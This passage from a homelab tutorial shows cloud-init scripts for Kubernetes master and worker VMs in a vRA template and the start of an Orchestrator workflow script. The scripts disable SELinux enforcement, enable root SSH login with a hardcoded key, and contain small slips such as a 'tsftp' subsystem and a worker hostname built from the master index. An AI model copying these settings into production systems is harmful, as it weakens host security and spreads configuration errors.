&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        - &lt;span style=&#34;color:#f92672&#34;&gt;network&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;${resource.mgmt_net.id}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;cloudConfig&lt;/span&gt;: |&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        #cloud-config
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        fqdn: k8sm00${input.master-count[count.index]}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        runcmd:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - dnf update -y
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - dnf config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - echo -e &amp;#39;[kubernetes]\nname=Kubernetes\nbaseurl=https://packages.cloud.google.com/yum/repos/kubernetes-el7-x86_64\nenabled=1\ngpgcheck=1\nrepo_gpgcheck=1\ngpgkey=https://packages.cloud.google.com/yum/doc/yum-key.gpg https://packages.cloud.google.com/yum/doc/rpm-package-key.gpg&amp;#39; &amp;gt; /etc/yum.repos.d/k8s.repo
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - dnf makecache -y
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - dnf install -y containerd.io ca-certificates curl gnupg
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - containerd config default &amp;gt; config.toml
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - sed -i &amp;#39;s/SystemdCgroup = false/SystemdCgroup = true/g&amp;#39; config.toml
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - mv -f config.toml /etc/containerd/config.toml
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - systemctl enable --now containerd.service
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - echo -e &amp;#39;overlay\nbr_netfilter&amp;#39; &amp;gt; /etc/modules-load.d/k8s.conf
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - modprobe overlay
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - modprobe br_netfilter
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - setenforce 0
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - sed -i --follow-symlinks &amp;#39;s/SELINUX=enforcing/SELINUX=permissive/g&amp;#39; /etc/sysconfig/selinux
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - firewall-cmd --permanent --add-port=6443/tcp
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - firewall-cmd --permanent --add-port=2379-2380/tcp
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - firewall-cmd --permanent --add-port=10250/tcp
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - firewall-cmd --permanent --add-port=10251/tcp
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - firewall-cmd --permanent --add-port=10259/tcp
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - firewall-cmd --permanent --add-port=10257/tcp
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - firewall-cmd --permanent --add-port=179/tcp
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - firewall-cmd --permanent --add-port=4789/udp
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - firewall-cmd --reload
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - echo -e &amp;#39;net.ipv4.ip_forward = 1\nnet.bridge.bridge-nf-call-ip6tables = 1\nnet.bridge.bridge-nf-call-iptables = 1&amp;#39; &amp;gt; /etc/sysctl.d/k8s.conf
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - sysctl --system
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - swapoff -a
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - sed -e &amp;#39;/swap/s/^/#/g&amp;#39; -i /etc/fstab
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - dnf install -y {kubelet,kubeadm,kubectl} --disableexcludes=kubernetes
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - echo -e &amp;#39;Include /etc/ssh/sshd_config.d/*.conf \nPort 22 \nAddressFamily any \nListenAddress 0.0.0.0 \nPermitRootLogin yes \nPubkeyAuthentication yes \nAuthorizedKeysFile .ssh/authorized_keys \nSubsystem tsftp /usr/libexec/openssh/sftp-server&amp;#39; &amp;gt; /etc/ssh/sshd_config\n  
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - mkdir /root/.ssh
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - echo &amp;#34;ecdsa-sha2-nistp521 AAAAE2VjZHNhLXNoYTItbmlzdHA1MjEAAAAIbmlzdHA1MjEAAACFBAGoZ4YstscMlpmX+sy0VHwS6P8TSwaZcZtczF4B5bdzABFR1N5L7pNRY1IcPGw5dLNZ8TqWWaPnFSxgtB+Bj0HKKgG+M+CoXxSTolNwpP1V+7VXkqS5IqtpnAIJvOcWHMDtlzjk/g1nu57/uAXCNVru92XqTbo6SD2dUHziBUyi64w0YA==&amp;#34; &amp;gt; /root/.ssh/authorized_keys
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - systemctl restart sshd
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - poweroff&lt;/span&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;k8sw&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;type&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;Cloud.vSphere.Machine&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;properties&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;count&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;${input.worker-count}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;image&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;rock000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;flavor&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;cpu2-ram4&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;networks&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        - &lt;span style=&#34;color:#f92672&#34;&gt;network&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;${resource.mgmt_net.id}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;cloudConfig&lt;/span&gt;: |&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        #cloud-config
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        fqdn: k8sw00${input.master-count[count.index]}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        runcmd:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - nmcli general hostname k8sw00
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - dnf update -y
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - dnf config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - echo -e &amp;#39;[kubernetes]\nname=Kubernetes\nbaseurl=https://packages.cloud.google.com/yum/repos/kubernetes-el7-x86_64\nenabled=1\ngpgcheck=1\nrepo_gpgcheck=1\ngpgkey=https://packages.cloud.google.com/yum/doc/yum-key.gpg https://packages.cloud.google.com/yum/doc/rpm-package-key.gpg&amp;#39; &amp;gt; /etc/yum.repos.d/k8s.repo
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - dnf makecache -y
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - dnf install -y containerd.io ca-certificates curl gnupg
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - containerd config default &amp;gt; config.toml
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - sed -i &amp;#39;s/SystemdCgroup = false/SystemdCgroup = true/g&amp;#39; config.toml
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - mv -f config.toml /etc/containerd/config.toml
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - systemctl enable --now containerd.service
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - echo -e &amp;#39;overlay\nbr_netfilter&amp;#39; &amp;gt; /etc/modules-load.d/k8s.conf
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - modprobe overlay
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - modprobe br_netfilter
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - setenforce 0
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - sed -i --follow-symlinks &amp;#39;s/SELINUX=enforcing/SELINUX=permissive/g&amp;#39; /etc/sysconfig/selinux
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - firewall-cmd --permanent --add-port=179/tcp
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - firewall-cmd --permanent --add-port=10250/tcp
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - firewall-cmd --permanent --add-port=30000-32767/tcp
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - firewall-cmd --permanent --add-port=4789/udp
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - firewall-cmd --reload
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - echo -e &amp;#39;net.ipv4.ip_forward = 1\nnet.bridge.bridge-nf-call-ip6tables = 1\nnet.bridge.bridge-nf-call-iptables = 1&amp;#39; &amp;gt; /etc/sysctl.d/k8s.conf
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - sysctl --system
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - swapoff -a
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - sed -e &amp;#39;/swap/s/^/#/g&amp;#39; -i /etc/fstab
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - dnf install -y {kubelet,kubeadm,kubectl} --disableexcludes=kubernetes
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - echo &amp;#34;ecdsa-sha2-nistp521 AAAAE2VjZHNhLXNoYTItbmlzdHA1MjEAAAAIbmlzdHA1MjEAAACFBAGoZ4YstscMlpmX+sy0VHwS6P8TSwaZcZtczF4B5bdzABFR1N5L7pNRY1IcPGw5dLNZ8TqWWaPnFSxgtB+Bj0HKKgG+M+CoXxSTolNwpP1V+7VXkqS5IqtpnAIJvOcWHMDtlzjk/g1nu57/uAXCNVru92XqTbo6SD2dUHziBUyi64w0YA==&amp;#34; &amp;gt; /root/.ssh/authorized_keys
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - systemctl restart sshd
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;          - poweroff&lt;/span&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h1 id=&#34;orchestrator-workflow&#34;&gt;orchestrator workflow&lt;/h1&gt;
&lt;p&gt;Now, back in Orchestrator, create a new workflow (ie. &lt;code&gt;configure k8s cluster&lt;/code&gt;) and configure it as follows:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Variables (name | value | type)
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;vRA | [object VRA:Host] | VRA:Host&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;workers | Array[0] | Array/Array&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;masters | Array[0] | Array/Array&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;vms | Array[0] | Array/VC:VirtualMachine&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;uuids | Array[0] | Array/string&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Inputs (name | type | direction)
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;inputProperties | Properties | Input&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Schema
&lt;ul&gt;
&lt;li&gt;3 JavaScript scripting objects in sequence&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;schema-details&#34;&gt;schema details&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;scripting object 1 - get vm info from deployment data&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;inputs:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;inputProperties | Properties | inputProperties&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;masters | Array/Array | masters&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;workers | Array/Array | masters&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;vRA | VRA:Host | vRA&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;vms | Array/VC:VirtualMachine | vms&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;uuids | Array/String | uuids&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;outputs:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;masters | Array/Array | masters&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;workers | Array/Array | masters&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;vms | Array/VC:VirtualMachine | vms&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;code:
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;restClient&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;vRA&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;createRestClient&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;pathUri&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;/deployment/api/deployments/&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;inputProperties&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;deploymentId&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;/resources&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;request&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;restClient&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;createRequest&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;pathUri&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;response&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;restClient&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;execute&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;request&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;jsonResponse&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;JSON&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;parse&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;response&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;contentAsString&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;content&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;jsonResponse&lt;/span&gt;[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;content&amp;#39;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;; &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;content&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;length&lt;/span&gt;; &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;++&lt;/span&gt;){
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#a6e22e&#34;&gt;content&lt;/span&gt;[&lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt;][&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;properties&amp;#39;&lt;/span&gt;][&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;name&amp;#39;&lt;/span&gt;] &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;k8sm&amp;#39;&lt;/span&gt;){
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;id&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;content&lt;/span&gt;[&lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt;][&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;properties&amp;#39;&lt;/span&gt;][&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;moref&amp;#39;&lt;/span&gt;].&lt;span style=&#34;color:#a6e22e&#34;&gt;split&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;:&amp;#39;&lt;/span&gt;)[&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;]
